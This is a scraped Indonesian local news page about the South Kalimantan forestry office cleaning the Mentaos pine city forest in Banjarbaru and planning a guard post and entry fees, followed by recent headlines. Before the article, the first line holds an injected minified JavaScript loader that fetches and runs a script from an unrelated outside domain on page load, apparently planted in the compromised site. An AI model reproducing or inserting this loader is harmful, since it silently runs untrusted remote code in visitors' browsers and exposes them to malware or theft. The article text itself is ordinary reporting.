(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Hutan Pinus Dikelola Lebih Serius, Rencana Dishut Kalsel Tambah Sarpras Kenyamanan Pengunjung


KANALKALIMANTAN.COM, BANJARBARU – Dinas Kehutanan Provinsi Kalimantan Selatan kembali pelihara Hutan Kota Pinus yang terletak di Mentaos I Banjarbaru, Jumat (13/5/2022). Kegiatan pemeliharaan oleh Dinas Kehutanan yang dipimpin langsung Kadishut Fathimatuzzahra ini yaitu dengan melakukan pembersihan kawasan, serta penanaman beberapa batang pohon ulin, meranti dan tanaman hias di kawasan tersebut.

Saat ini Hutan Pinus Mentaos sudah dilengkapi dengan berbagai macam fasilitas yang nyaman untuk dijadikan sebagai kawasan rekreasi maupun alternatif destinasi wisata yang murah dan mudah dijangkau bagi warga. Rencananya akan ada penambahan sarana prasarana (sarpras) oleh Pemprov Kalsel guna kenyamanan pengunjung dalam berekreasi.

“Rencananya, untuk kedepan akan ditambah sarpras berupa pos jaga, hal ini dilakukan untuk memberikan rasa aman bagi para pengunjung, kemudian kita akan tetap berkerjasama dengan Pokdarwis sebagai bentuk pelibatan peran masyarakat dalam pemanfaatan hutan sebagai cara pemerintah dalam meningkatkan kesejahteraan masyarakat. Kedepan akan dilakukan pemungutan retribusi masuk oleh Pemprov Kalsel sebagai bentuk kontribusi hutan terhadap pendapatan daerah,” ucap Fathimatuzzahra.

Menurut Aya -akrab disapa- setelah kegiatan pembersihan ini, diadakan rapat dengan Pokdarwis di lokasi untuk lebih jauh membicarakan rencana pengelolaan yang akan dilakukan, sehingga pengelolaan hutan pinus sebagai lokasi wisata dapat berjalan optimal.

 

Baca juga : Peringati Hardiknas, Wabub Banjar Harapkan Pendidik Tangguh Pimpin Pemulihan dan Kebangkitan

Hutan kota yang luasnya 2 Ha tersebut dikenal masyarakat dengan Hutan Pinus I atau Hutan Pinus Mentaos, sebab tumbuhan di kawasan tersebut didominasi oleh pohon Pinus. Hutan kota yang terletak tepat di depan SMA Negeri 2 Banjarbaru tersebut saat ini dikelola oleh Pokdarwis Banjarbaru dan dijadikan kawasan rekreasi juga ruang publik bagi warga.

Penarikan retribusi nantinya akan diberlakukan, hal ini semata-mata untuk pemeliharaan dan perbaikan sarpras pendukung, agar Hutan Pinus Mentaos tetap menjadi kawasan rekreasi yang nyaman dan aman bagi warga. (Kanalkalimantan.com/al)

Reporter : al
Editor : kk


Desy Arfianty

Recent Posts

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

15 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

17 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

17 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

22 jam ago

Mereka Menanti Skatepark di Kota Seribu Sungai

KANALKALIMANTAN.COM, BANJARMASIN – Sudah lama para skater menanti kehadiran skatepark di Kota Banjarmasin. Pasalnya, Siring… Read More

23 jam ago

Cek Kondisi Kolam Renang Idaman Terkini, Ini Respon Komisi III DPRD Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi III Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru turun melakukan pengecekan… Read More

1 hari ago

This website uses cookies.